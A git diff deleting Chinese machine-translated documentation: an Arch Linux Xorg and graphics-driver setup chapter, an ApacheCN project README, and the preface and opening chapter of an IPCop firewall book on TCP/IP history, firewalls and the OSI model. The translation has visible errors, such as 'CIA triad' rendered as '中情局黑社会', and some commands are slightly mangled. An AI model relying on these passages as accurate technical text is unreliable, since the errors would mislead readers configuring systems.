-我们也可以在`DAEMONS`数组中保留一个服务,但仍然禁止它自动启动。为此,我们需要在服务前面添加`!`: - -```sh -DAEMONS=(syslog-ng !network crond) -``` - -### 获取可用守护程序的列表 - -我们可以通过运行`rc.d list`获得所有可用服务的列表。 - -# 使用 Xorg 配置图形用户界面(应该知道) - -在本食谱中,我们将学习如何使用 **Xorg** 配置图形用户界面。当我们想要将我们的系统用作桌面系统时,我们将会以这样或那样的方式需要 Xorg。如今,Xorg 是在基于 Linux 的系统上显示和使用图形界面的事实标准。此外,对于大多数单屏幕设置,您不需要配置任何东西。多屏设置和带有专有驱动程序的设置是这一规则的例外。有些发行版为您提供了安装正确视频驱动程序的工具;Arch Linux 没有。因此,最终我们将需要找出安装哪个驱动程序。相对于键盘、鼠标和许多其他输入设备,Xorg 几乎可以自动找到它们。在某些情况下,输入设备需要安装额外的 Xorg 驱动程序。 - -## 做好准备 - -以下列表描述了我们将在本食谱中执行的主要任务: - -* **安装 Xorg** :我们将安装基本的必需包,以便能够使用 Xorg 图形系统。 -* **改变键盘布局**:对于大多数人来说不需要改变键盘布局,因为大多数人使用的是 QWERTY。但是对于世界上一些正在使用其他布局的地方,这可能会派上用场。 -* **安装输入驱动**:当我们有一些特殊的输入硬件时,我们可能需要安装额外的输入驱动。现在所有的东西都应该被自动检测,但是有时候为了满足你的输入硬件的特定要求,我们需要安装输入驱动程序。例如,笔记本电脑用户可能需要为他们的触摸板安装 Synaptics 驱动程序。 -* **安装视频驱动**:首先我们需要弄清楚我们的系统中安装了哪些显卡,什么驱动最适合它们使用。 -* **使用专有的 NVIDIA 驱动程序**:专有的 NVIDIA 驱动程序很容易在 Arch Linux 上安装,因为它们可以在官方的存储库中找到。Arch Linux 维基([https://wiki.archlinux.org/index.php/NVIDIA](https://wiki.archlinux.org/index.php/NVIDIA))中有一篇文章涵盖了所有的细节。 -* **Using the proprietary AMD drivers**: The reference for using the AMD (ATI) Catalyst drivers with Arch Linux is the following wiki page: - - [https://wiki.archlinux.org/index.php/ATI_Catalyst](https://wiki.archlinux.org/index.php/ATI_Catalyst) - - 在这个页面上,我们找到了让 Catalyst 驱动程序在您的硬件上正常工作所需的一大堆信息。 - - ### 注 - - 不久前,催化剂和催化剂应用包进入了官方存储库。所以它们变得非常容易安装。 - -## 怎么做... - -1. 安装 xorg-服务器: - - ```sh - pacman -S xorg-server - - ``` - -现在让我们更改键盘布局: - -1. 运行`setxkbmap`命令,然后运行所需的键盘布局: - - ```sh - setxkbmap be - - ``` - -2. 安装输入驱动程序: - - ```sh - pacman -S xf86-input-synaptics - - ``` - -让我们列出安装视频驱动程序所需的步骤: - -1. 找到系统中使用的显卡。 -2. 搜索是否有可用的驱动程序: - - ```sh - pacman -Ss xf86-video - - ``` - -3. 安装驱动程序: - - ```sh - pacman -S xf86-video-driver - - ``` - -让我们列出使用专有 NVIDIA 驱动程序所需的步骤: - -1. 安装英伟达和英伟达-utils: - - ```sh - pacman -S nvidia nvidia-utils - - ``` - -2. 创建配置文件`/etc/X11/xorg.conf.d/20-nvidia.conf`。 -3. 重新启动并查看驱动程序是否正在使用。 - -让我们列出使用专有 AMD 驱动程序所需的步骤: - -1. 通过运行以下命令安装催化剂和催化剂应用: - - ```sh - pacman -S catalyst-dkms catalyst-utils - - ``` - -2. 将`nomodeset`参数添加到内核命令行,以确保开源驱动程序不会启动: - - ```sh - APPEND initrd=/initramfs-linux.img root=/dev/sda3rootfstype=btrfs ro vga=773 nomodeset - - ``` - -3. Add a default configuration file `/etc/X11/xorg.conf.d/20-catalyst.conf` so that Xorg knows it has to use the proprietary driver. - - ```sh - Section "Device" - Identifier "aticard" - Driver "fglrx" - EndSection - ``` - - ### 注 - - 关于执行的主要任务的详细描述,请参考本食谱的*准备*部分。 - -## 它是如何工作的... - -Pacman 将下载并安装 xorg-server 包及其最低限度需要的依赖项。 - -`setxkbmap`命令将改变选定的键盘布局。比如我们默认是美国布局,运行`setxkbmap be`后会是比利时的 AZERTY 布局。 - -pacman 会将特定的驱动程序安装到您的系统中,这将为 Xorg 提供理解触摸板输入并正确处理它的方法。 - -NVIDIA 驱动程序应该会被 Xorg 自动检测到,但为了确保您可以在`/etc/X11/xorg.conf.d/`中添加一个文件,例如`/etc/X11/xorg.conf.d/20-nvidia.conf`: - -```sh -Section "Device" - Identifier "NVIDIAcard" - Driver "nvidia" -EndSection -``` - -需要时,您可以通过发出以下命令来创建默认配置: - -```sh -nvidia-xconfig - -``` - -当有两个连接的屏幕时,您还可以自动生成 twinview 默认配置: - -```sh -nvidia-xconfig –twinview - -``` - -当我们使用 AMD 专有驱动时,设置`nomodeset`参数可以确保内置内核驱动不会开始与专有驱动冲突。Xorg 配置文件将确保 Xorg 启动时没有错误。虽然不完全必要,但我们确保 Xorg 使用驱动程序并为我们提供良好的服务。 - -## 还有更多... - -我们可以选择直接使用我们的图形环境,这将意味着安装 xorg-xinit,或者我们可以使用带有显示管理器的 xorg 环境。A **显示管理器**是一个图形化的登录屏幕,所以我们可以全程使用 Xorg。 - -### 直接使用 Xorg - -为了直接从终端启动 Xorg,我们首先需要安装 xorg-xinit 包来实现这一点: - -```sh -pacman -S xorg-xinit - -``` - -然后`startx`命令会让我们进入 X 服务器。当在没有配置的情况下直接使用它时,X 将不会启动,因为默认配置会请求一些丢失的应用。让我们继续安装: - -```sh -pacman -S xorg-twm xorg-xclock xterm - -``` - -### 在窗口管理器或桌面环境中使用 Xorg - -为了我们自己的方便,最好安装一个**窗口管理器** ( **WM** )或者一个**桌面环境**。有关窗口管理器的完整列表,请访问[https://wiki.archlinux.org/index.php/Window_manager](https://wiki.archlinux.org/index.php/Window_manager)。有关桌面环境的完整列表,请访问[https://wiki.archlinux.org/index.php/Desktop_Environment](https://wiki.archlinux.org/index.php/Desktop_Environment)。 - -在本节中,我们将安装 Xfce([https://wiki.archlinux.org/index.php/Xfce](https://wiki.archlinux.org/index.php/Xfce)): - -```sh -pacman -S xfce - -``` - -Pacman 会问我们是否要安装 Xfce 组的所有软件包。我们同意,因为这样最方便。 - -由于现在安装了 Xfce,我们可以从启动的 Xorg 会话中发出`startxfce4`或者修改我们的`~/.xinitrc`。在`.xinitrc`文件中,我们可以取消对`# exec startxfce4`行的注释并保存文件。登录后,我们现在可以发布`startx`并享受 Xfce 桌面环境。 - -### 在显示管理器中使用 Xorg - -对于桌面用户,这是常见的用法,因为他们需要一个图形登录屏幕,并从那里继续到所需的桌面环境或窗口管理器。Arch Linux 中有几个可用的显示管理器。在本节中,我们将只描述 **LXDM** ,这是一个相当简单的显示管理器。有关 Arch Linux 可用的其他显示管理器的列表,您可以阅读[https://wiki.archlinux.org/index.php/Display_Manager](https://wiki.archlinux.org/index.php/Display_Manager)。 - -要安装 LXDM,我们向 pacman 发出以下命令: - -```sh -pacman -S lxdm - -``` - -使用 initscripts 时,我们可以在`DAEMONS`数组的末尾添加 LXDM。当我们使用 systemd 时,我们可以发出`systemctl enable lxdm.service`来启动 LXDM 的启动。重启后,LXDM 显示管理器出现,我们可以从桌面会话下拉列表中选择 **Xfce 会话**。 - -### 在配置文件中设置键盘布局 - -由于我们希望我们的键盘和鼠标在每次电脑启动时自动配置,所以我们可以在配置文件中设置键盘布局,这样我们就不必每次进入 Xorg 时都运行`setxkbmap`。我们已经安装了 xf86-input-evdev,所以可以把我们的键盘设置放在同一个文件`10-evdev.conf`中,比如`/etc/X11/xorg.conf.d/10-evdev.conf`(只有键盘部分): - -```sh -Section "InputClass" - Identifier "evdev keyboard catchall" - MatchIsKeyboard "on" - MatchDevicePath "/dev/input/event*" - Driver "evdev" - Option "XkbModel" "pc105" - Option "XkbLayout" "be" -EndSection -``` - -添加高亮显示的零件,并执行以下操作: - -* `XkbModel`:我们用的是什么键盘型号?在我们的示例中,`pc105`。 -* `XkbLayout`:我们用的是什么键盘布局?在我们的例子中,`be`(比利时语 AZERTY)。 - -### 查找键盘选项 - -我们可以在`/usr/share/X11/xkb/rules/evdev.lst`中找到所有可能的模型、布局和选项。 - -### 查找系统上使用的显卡 - -默认情况下,我们对显卡的支持有限。为了增强我们的 Xorg 体验,我们必须找到我们有什么显卡,以及为它们安装什么驱动程序。通过为我们的硬件匹配驱动程序,我们将获得比以前好得多的性能。 - -找到要安装哪些驱动程序的最简单方法是使用应用 **lspci** : - -```sh -lspci | grep VGA - -``` - -示例输出: - -```sh -01:05.0 VGA compatible controller: Advanced Micro Devices [AMD] neeATI RS880M [Mobility Radeon HD 4200 Series] - -``` - -现在我们已经知道我们有一张 ATI 卡。在某些情况下,我们将需要内核使用的驱动程序来确定到底使用什么 Xorg 驱动程序。在这个例子中,我们已经知道它将是 xf86-video-ati。 - -### 安装图形驱动程序 - -现在我们可以安装我们特定系统所需的驱动程序。在本例中,它将是 xf86-video-ati,但它可以是任何可用的驱动程序(用您在以下示例中需要的内容替换`ati`)。 - -```sh -pacman -S xf86-video-ati - -``` - -### 英伟达 GUI 配置 - -英伟达并不真的希望我们在显卡的配置上纠结。因此,他们为我们提供了一个很好的图形用户界面来创建一个微调的配置。 - -配置 NVIDIA 基础设施的最简单方法是通过 **nvidia-settings** 配置所有内容。您可以以 root 用户身份发布此应用,以便编写全局配置文件。 - -![NVIDIA GUI configuration](img/9724OS_07_01.jpg) - -使用贵由还可以存储配置文件。通过输入`/etc/X11/xorg.conf.d/20-nvidia.conf`进行操作: - -![NVIDIA GUI configuration](img/9724OS_07_02.jpg) - -AMD 还为我们提供了一些有用的工具,让配置变得非常容易。我们现在来讨论一下。 - -### 用 AMD 自动生成一个 Xorg 配置文件 - -如果您想进行一些扩展配置,可以通过运行以下命令来启动新的配置文件: - -```sh -aticonfig --initial - -``` - -这将创建一个新的配置文件`/etc/X11/xorg.conf`。 - -### AMD GUI 配置 - -您可以通过运行 AMDCCCLE 应用来进一步微调 ATI 硬件的工作。 - -![AMD GUI configuration](img/9724OS_07_03.jpg) \ No newline at end of file diff --git a/docs/arch-linux-env-setup/README.md b/docs/arch-linux-env-setup/README.md deleted file mode 100644 index 0f0f736a..00000000 --- a/docs/arch-linux-env-setup/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# ArchLinux 环境建立操作手册 - -> 原文:[Arch Linux Environment set-up How-To](https://libgen.rs/book/index.php?md5=537398CD561E23B9C0417DF43FA5C99F) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/arch-linux-env-setup/SUMMARY.md b/docs/arch-linux-env-setup/SUMMARY.md deleted file mode 100644 index a6f223c3..00000000 --- a/docs/arch-linux-env-setup/SUMMARY.md +++ /dev/null @@ -1,3 +0,0 @@ -+ [ArchLinux 环境建立操作手册](README.md) -+ [零、前言](0.md) -+ [一、Arch Linux 环境设置操作指南](1.md) diff --git a/docs/conf-ipcop-fw/00.md b/docs/conf-ipcop-fw/00.md deleted file mode 100644 index b4323c3b..00000000 --- a/docs/conf-ipcop-fw/00.md +++ /dev/null @@ -1,110 +0,0 @@ -# 零、前言 - -IPCop 是一个基于 Linux 的有状态防火墙发行版,它位于您的 Internet 连接和网络之间,使用您制定的一组规则来引导流量。 它提供了现代防火墙应该具备的大部分功能,最重要的是,它以一种高度自动化和简化的方式为您设置了所有这些功能。 - -本书是一本易于阅读的指南,介绍如何在网络中的各种不同角色中使用 IPCop。 这本书的写作风格非常友好,这使得这个复杂的主题变得容易,读起来也很有趣。 它首先介绍基本的 IPCop 概念,然后介绍基本的 IPCop 配置,然后介绍 IPCop 的高级用法。 这本书既适合有经验的 IPCop 用户,也适合新手。 - -# 本书涵盖的内容 - -[第 1 章](01.html "Chapter 1. Introduction to Firewalls")简要介绍一些防火墙和网络概念。 本章介绍几种常见网络设备的作用,并解释防火墙如何适用于此。 - -[第 2 章](02.html "Chapter 2. Introduction to IPCop")介绍 IPCop 包本身,讨论 IPCop 的红/橙/蓝/绿接口如何适应网络拓扑。 然后介绍 IPCop 在其他常见角色中的配置,例如 Web 代理、DHCP、DNS、Time 和 VPN 服务器的配置。 - -[第 3 章](03.html "Chapter 3. Deploying IPCop and Designing a Network")介绍了三个示例场景,在这些场景中,我们将了解如何部署 IPCop,以及 IPCop 接口如何相互连接以及如何连接到整个网络。 - -[第 4 章](04.html "Chapter 4. Installing IPCop")介绍如何安装 IPCop。 它概述了运行 IPCop 所需的系统配置,并解释了启动和运行 IPCop 所需的配置。 - -[第 5 章](05.html "Chapter 5. Basic IPCop Usage")说明如何使用 IPCop 为我们提供的各种工具来管理、操作、故障排除和监控我们的 IPCop 防火墙。 - -[第 6 章](06.html "Chapter 6. Intrusion Detection with IPCop")首先解释我们的系统中对 IDS 的需求,然后解释如何将 Snort IDS 与 IPCop 一起使用。 - -[第 7 章](07.html "Chapter 7. Virtual Private Networks")介绍 VPN 概念,并说明如何为系统设置 IPSec VPN 配置。 特别关注的是配置蓝色区域-一个安全的无线网络,可以增强无线网段的安全性,即使是已经使用 WEP 或 WPA 的网段也是如此。 - -[第 8 章](08.html "Chapter 8. Managing Bandwidth with IPCop")演示如何使用 IPCop 利用流量整形技术和缓存管理来管理带宽。 本章还介绍 Squid Web 代理和缓存系统的配置。 - -[第 9 章](09.html "Chapter 9. Customizing IPCop")重点介绍可用于配置 IPCop 以满足我们需要的各种插件。 我们将了解如何安装插件,然后了解更多有关常见插件的信息,如 SquidGuard、增强过滤、Blue Access、LogSend 和 CopFilter。 - -[第 10 章](10.html "Chapter 10. Testing, Auditing, and Hardening IPCop")介绍 IPCop 安全风险、修补程序管理以及一些安全和审计工具以及测试。 - -[第 11 章](11.html "Chapter 11. IPCop Support")概述了 IPCop 用户以邮件列表和 IRC 的形式提供的支持。 - -# 这本书需要什么 - -IPCop 在一个专用的盒子上运行,它*完全接管了硬盘*,所以不要使用上面有任何贵重物品的驱动器。 它将在旧的或“过时的”硬件上运行,例如 386 处理器、32Mb 的 RAM 和 300Mb 的硬盘。 但是,如果您计划使用 IPCop 的一些功能,如缓存 Web 代理或入侵检测日志记录,您将需要更多的 RAM、更多的磁盘空间和更快的处理器。 - -绿色接口需要至少一个网卡网卡*。 如果您要通过电缆调制解调器连接到 Internet,则需要两个网卡。* - - *安装后,您不需要将显示器或键盘连接到 IPCop 盒,因为它作为*无头*服务器运行,并通过网络使用 Web 浏览器进行管理。 - -# 公约 - -在这本书中,你会发现许多区分不同信息的文本样式。 以下是这些风格的一些示例,并解释了它们的含义。 - -代码有三种样式。 文本中的代码如下所示:“在 Windows 中, `ipconfig`命令还允许用户释放和更新 DHCP 信息。” - -代码块设置如下: - -```sh -james@horus: ~ $ sudo nmap 10.10.2.32 -T Insane -O -Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-05-02 21:36 BST -Interesting ports on 10.10.2.32: -(The 1662 ports scanned but not shown below are in state: closed) -PORT STATE SERVICE -22/tcp open ssh -MAC Address: 00:30:AB:19:23:A9 (Delta Networks) -Device type: general purpose -Running: Linux 2.4.X|2.5.X|2.6.X -OS details: Linux 2.4.18 - 2.6.7 -Uptime 0.034 days (since Tue May 2 20:47:15 2006) -Nmap finished: 1 IP address (1 host up) scanned in 8.364 seconds - -``` - -任何命令行输入和输出都按如下方式编写: - -```sh -# mv /addons /addons.bak -# tar xzvf /addons-2.3-CLI-b2.tar.gz -C / -# cd /addons -# ./addoncfg -u -# ./addoncfg -i - -``` - -**新术语**和**重要单词**以粗体字体引入。 您在屏幕上看到的文字(例如在菜单或对话框中)会出现在我们的文本中,如下所示:“我们然后返回到插件页面,单击**Browse**按钮,浏览到我们刚刚下载的文件,单击**Upload**,插件就安装在服务器上了。”(**Browse**按钮,浏览到我们刚刚下载的文件,单击**Upload**,插件就安装在服务器上了。) - -### 备注 - -警告或重要说明会出现在这样的框中。 - -### 笔记 / 便条 / 票据 / 注解 - -提示和技巧如下所示。 - -# 读者反馈 - -欢迎读者的反馈。 让我们知道你对这本书的看法,你喜欢什么或不喜欢什么。 读者反馈对于我们开发真正能让您获得最大收益的图书非常重要。 - -要向我们发送一般反馈,只需向`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`发送一封电子邮件,并确保在消息主题中提及书名。 - -如果您有需要并希望看到我们出版的图书,请在[www.Packtpub.com](http://www.packtpub.com)上的**建议标题**表格中向我们发送备注或发送电子邮件`<[suggest@packtpub.com](mailto:suggest@packtpub.com)>`。 - -如果有一个您擅长的主题,并且您有兴趣撰写或投稿一本书,请参阅我们位于[www.Packtpub.com/Authors](http://www.packtpub.com/authors)上的作者指南。 - -# 客户支持 - -现在您已经成为 Packt 图书的拥有者,我们有很多东西可以帮助您从购买中获得最大价值。 - -## 下载本书的示例代码 - -访问[http://www.packtpub.com/support](http://www.packtpub.com/support),然后从书目列表中选择本书,以下载本书的任何示例代码或额外资源。 然后将显示可供下载的文件。 - -可下载的文件包含有关如何使用它们的说明。 - -## 勘误表 - -虽然我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果您在我们的某本书中发现错误--可能是文本或代码中的错误--请您向我们报告,我们将不胜感激。 通过这样做,您可以将其他读者从挫折中解救出来,并帮助改进本书的后续版本。 如果您发现任何勘误表,请访问[http://www.packtpub.com/support](http://www.packtpub.com/support),选择您的图书,单击**提交勘误表**链接,然后输入勘误表的详细信息来报告这些勘误表。 一旦您的勘误表得到验证,您提交的勘误表将被接受,并将勘误表添加到现有勘误表列表中。 通过从[http://www.packtpub.com/support](http://www.packtpub.com/support)中选择您的书目,可以查看现有勘误表。 - -## 问题 - -如果您对本书的某些方面有问题,可以拨打`<[questions@packtpub.com](mailto:questions@packtpub.com)>`与我们联系,我们将尽最大努力解决。* \ No newline at end of file diff --git a/docs/conf-ipcop-fw/01.md b/docs/conf-ipcop-fw/01.md deleted file mode 100644 index 908bd1b4..00000000 --- a/docs/conf-ipcop-fw/01.md +++ /dev/null @@ -1,431 +0,0 @@ -# 一、防火墙简介 - -在本章中,我们将详细介绍一些防火墙和网络概念,以便让那些已经遇到过它们的人有所耳目一新,但方式要尽可能少,因为理解网络概念不是本书的重点。 我们认为其中一些概念很重要,更广泛地了解这些技术是如何使用的以及它们来自何处,有助于我们更好地理解 IT 的工作方式-但是,对于时间紧迫的读者,我们尽可能提供*斜体*的关于这些概念的知识摘要,这些知识对于我们来说很重要。 - -如果您没有理解我们讨论的所有概念,也不用担心--同样,对网络概念比较熟悉的读者应该可以跳过。 IPCop 使对其中许多概念的明确理解变得无关紧要,因为它试图尽可能使管理变得简单和自动化。 但是,如果您确实想更深入地了解这些主题,这里给出的介绍以及我们提供的一些 URL 和指向其他资源的链接有望对您有所帮助。 如果您打算继续定期使用 IPCop 等系统,了解网络、路由以及一些常见协议的工作原理(虽然不是必需的)也会对您有不可估量的帮助。 - -# (TCP/IP)网络简介 - -在 20 世纪 70 年代初,随着数据网络变得越来越普遍,构建数据网络的不同方式的数量呈指数级增加。 对于许多人来说,*互连*(IBM*TCP/IP 教程和技术概述,Martin W.Murhammer,Orcun Atakan,Stefan Bretz,Larry R.Pugh,Kazunari Suzuki,David H.Wood,1998 年 10 月,PP3)*或*将多个网络相互连接*的概念变得极其重要,因为将围绕不同技术集构建的不同和不同的网络连接在一起开始带来痛苦。 - -在 IT 和计算机科学的上下文中,协议通常是计算机为特定目的交换数据的通用格式。 在网络中,最好将协议比作语言--在 20 世纪 70 年代的网络环境中,有许多不同的语言,几乎没有可供人们翻译的口译员。 - -由此产生的研究,最重要的是由美国国防部*国防高级研究计划局*([http://www.darpa.mil](http://www.darpa.mil))进行并资助的研究,不仅产生了一系列为互操作性而设计的网络*协议*(也就是说,为了允许在一系列设备之间进行简单的、平台无关的通信),而且还产生了一个网络,**ARPANet,**,就是为了这个明确的目的而建立的。 在语言内部,最好的比较是*世界语*的发展-尽管这种*国际*语言的普及程度相当小,但计算机的优势是不需要花费数年时间来学习特定的协议! - -此 ARPANet 于 1976 年首次使用 TCP/IP 进行试验,1983 年 1 月,所有参与网络的计算机都必须使用此 ARPANet。 到 20 世纪 70 年代末,除军方以外的许多组织也获准访问 ARPANet,如 NASA、**国家科学基金会**(**NSF**),最终还包括大学和其他学术实体。 - -在军方脱离 ARPANet 形成自己的、独立的军用网络(**Milnet**)后,该网络成为 NSF 的责任,NSF 开始创建自己的高速主干,称为**NSFnet**,以促进互联互通。 - -当 NSFnet 的可接受使用政策开始允许非学术流量时,NSFnet 开始与其他(商业和私有)网络(如通过 CIX 操作的网络)结合,形成我们现在所知的互联网实体。 1995 年 4 月,随着 NSF 退出对互联网的管理和 NSFnet 的关闭,互联网被不断增长的商业、学术和私人用户群体所占据。 - -互联网所基于的标准已经成为现代网络的主要标准,如今,当任何人说“网络”时,他们往往指的是使用(和围绕)**TCP/IP**(最初是为在 ARPANet 上使用而开发的一组分层协议)以及其他实现 TCP/IP 的标准(如**802.3**或**Ethernet)构建的东西,**定义了 TCP/IP 在网段中运行的最流行的标准之一是如何工作的。 - -这些分层的协议除了由于历史和轶事的原因对我们来说很有趣之外,还对我们有几个重要的影响。 最值得注意的是,围绕它们建造的任何设备都完全可以与任何其他设备互操作。 这样做的结果是,我们可以购买任何供应商制造的网络组件-我们运行 Microsoft Windows 的戴尔笔记本电脑可以使用 Linksys 交换机、插入思科路由器,通过 TCP/IP 在以太网上自由通信,还可以查看运行 AIX 的 IBM 服务器上托管的网页,也可以使用 TCP/IP 通信。 - -在 TCP/IP 之上运行的更多标准化协议(如 HTTP)实际上承载着信息本身,由于这些协议的分层,我们可以拥有大量不同的网络连接,这些网络对使用 HTTP 等协议的 Web 浏览器和 Web 服务器等设备看起来是透明的。 在我们的戴尔笔记本电脑和 IBM 服务器之间,我们可能有一个拨号连接、一个帧中继网段、一部分互联网主干和一条无线网络链路--它们都不涉及 TCP/IP 或 HTTP,它们位于这些网络层之上,并在它们之上自由传输。 如果一辆满载着孩子们参加学校旅游的长途汽车可以使用飞机、渡轮、自行车道和缆车,而不需要下车,也不会意识到他们脚下不断变化的交通工具,那该多好! 从这个意义上讲,TCP/IP 能够实现的分层通信功能非常强大,并且确实允许我们的通信基础设施进行扩展。 - -# 防火墙的用途 - -这个网络和支持它的研究最初是基于一个国家的军事目的而资助的,但已经远远超出了最初的目标,通过国际研究和吸收,催生了一种正在塑造(并将塑造)未来几代人的现象。 网络现在不仅是政府和研究机构的核心活动,也是大大小小的公司,甚至是家庭用户的核心活动。 进一步的发展,如无线技术的开始,使这项技术变得更容易获得(和相关),人们在家里、在路上,在不久的将来,几乎在地球表面的任何地方! - -这些网络协议中的许多最初都是在“*黑客*”这个词还没有现在所具有的(负面)含义的环境中设计的,并且是在存在相互信任和尊重文化的网络上实现的。 **IPv4**是通过 Internet(和大多数专用网络)进行所有通信的基础,**SMTP**(用于将电子邮件从一个服务器转发到另一个服务器的协议)就是两个主要的例子。 在最初的版本中,这两个协议都没有设计用于保持如今与有效通信同义词的三个特性:**机密性、完整性**和**可用性**(称为**CIA 三合一**)。 中情局黑社会通常被定义为信息安全的目标-[http://en.wikipedia.org/wiki/CIA_triad](http://en.wikipedia.org/wiki/CIA_triad)。 *垃圾邮件*和*拒绝服务攻击*只是(恶意)利用这两个协议中某些漏洞的两个示例。 - -随着网络技术的发展并被依赖这些技术的政府和大型组织所采用,对这三种特性的需求不断增加,网络防火墙变得必不可少。 简而言之,对*网络安全*的需求应运而生。 互联网也从它卑微的开端走了很长一段路。 随着进入门槛的降低,以及对支撑门槛的技术的了解变得更加容易,它已经成为一个越来越友好的地方。 - -随着对互联网通信的日益依赖,在撰写本文时,防火墙几乎已普遍部署为防范未经授权的网络活动、自动攻击和内部滥用的主要防线。 它们被部署在任何地方,在此上下文中使用术语“防火墙”来指代从内置于常用操作系统中的软件堆栈(例如内置于微软视窗操作系统([http://www.microsoft.com/windowsxp/using/security/internet/sp2_wfintro.mspx](http://www.microsoft.com/windowsxp/using/security/internet/sp2_wfintro.mspx))的 Service Pack2 中的*视窗防火墙*),到只保护其运行的计算机的任何设备,到部署在银行、数据中心、。 以及政府设施(如思科的 PIX 线防火墙产品([http://www.cisco.com/en/US/products/hw/vpndevc/ps2030/](http://www.cisco.com/en/US/products/hw/vpndevc/ps2030/)))。 这样的高端设备可以管理和限制数十万台单独计算机之间的网络流量。 - -鉴于“防火墙”这个术语的使用越来越多,并且在这个词中添加了如此多的限定符来区分不同类型的防火墙(例如,术语有状态、代理、应用、数据包过滤器、硬件、软件、电路级等等),当某人告诉你他们的网络“有防火墙”时,很难知道他们的意思是什么。 因此,我们对 IPCop 的探索必须从探索防火墙的实际内容开始,然后利用这些知识,我们可以将 IPCop 与这些知识联系起来,并了解 IPCop 可以为我们完成哪些功能。 - -为了提高我们的网络安全,我们首先需要找出我们需要解决的问题,并确定这个防火墙是否是解决这些问题的办法。 为了满足时髦的要求而实施防火墙是安全设计中的常见错误。 - -术语防火墙通常指的是所有技术和设备的集合,它们都设计用来做一件事--阻止未经授权的网络活动。 防火墙充当多个网络(或网段)之间的阻塞点,并使用(希望)严格定义的一组规则,以便允许或不允许某些类型的流量通过防火墙的另一端。 最重要的是,它是两个或多个网络之间的安全边界。 - -![The Purpose of Firewalls](img/1361_01_01.jpg) - -在上图中,连接到 Internet 的 Web 服务器受到防火墙的保护,该防火墙位于它和 Internet 之间,过滤所有传入和传出流量。 在这种情况下,来自攻击者的非法流量会被防火墙拦截。 这可能是由多种原因造成的,例如攻击者试图连接的服务被防火墙阻止进入 Internet,因为攻击者的网络地址被列入黑名单,或者因为攻击者发送的通信量类型被防火墙识别为拒绝服务攻击的一部分。 - -在这种情况下,通过防火墙将 Web 服务器所在的网络(在这种情况下可能包含多个 Web 服务器)与 Internet 分开,从而有效地实施安全策略,该安全策略规定*什么*可以从一个网络(或网络集合)传输到另一个网络。 例如,如果我们的防火墙不允许攻击者连接到 Web 服务器上的文件共享端口,而“用户”可以自由访问端口 80 上的 Web 服务器,则防火墙后的其他服务器可能会被允许访问文件共享端口,以便同步内容或进行备份。 - -分层协议通常使用**开放系统互连**(**OSI**)层来解释。 这方面的知识对从事网络或防火墙工作的任何人都非常有用,因为与此相关的许多概念都需要了解这种分层的工作方式。 - -OSI 层将流量和数据分为七层,理论上每一层都属于一种协议。 尽管网络和 IT 应用在理论上非常出色,但它们并不总是严格遵守 OSI 层,因此值得将其视为指导原则,而不是严格的框架。 这就是说,它们对于可视化连接非常有用,而且一般说来,层的愿景,每个层都利用不同供应商设计的硬件和软件,每个层与上面和下面的层进行互操作并不是不现实的。 - -# OSI 模型 - -OSI 模型如下图所示: - -![The OSI Model](img/1361_01_02.jpg) - -## 第一层:物理层 - -物理层包含构建网络的物理介质。 物理层内运行的规格包括端口、电压、引脚规格、电缆设计和材料等物理接口。 **网络集线器是**一层设备。 - -## 第二层:数据链路层 - -数据链路层提供同一网段上的主机之间的连接。 **MAC**地址在物理层用于区分不同的物理网络适配器并允许它们通信。 **以太网**是第二层标准。 - -## 第 3 层:网络层 - -网络层提供不同网络上的主机之间的连接,路由就是在这一层进行的。 该层存在网际协议(**IP**)和**地址解析协议**(**ARP**)。 ARP 具有重要作用,因为它通过确定给定第 3 层(IP)地址的第 2 层(MAC)地址在第 2 层和第 3 层之间进行中介。 - -## 第 4 层:传输层 - -传输层通常充当确保数据完整性的层。 **TCP**是这一层最常用的协议,它是一种**有状态**协议,通过与远程主机保持连接,可以重新传输未到达目的地的数据。 **UDP**是另一种(稍微不常见的)协议,它也在这一层运行,但不是有状态的-它发送的每条消息都不是“连接”的一部分,并且被视为与回复(如果需要)或以前在两台主机之间传递的任何消息完全分开。 - -### 备注 - -**IP、TCP/IP、UDP 和其他第四层协议** - -从对 OSI 层的研究中可以看出,TCP 是运行在 IP 之上的协议,形成了缩写 TCP/IP。 不幸的是,当人们使用术语 TCP/IP 时,这对特定的协议并不总是他们的意思--“TCP/IP 协议组”经常被定义为 IP、TCP 以及与其一起使用的其他协议,例如 UDP 和 ICMP。 这是一个值得注意的区别,在 IT 专业人员以及 Microsoft 的 Windows 等操作系统的文档中尤其常见。 - -## 第五层:会话层 - -OSI 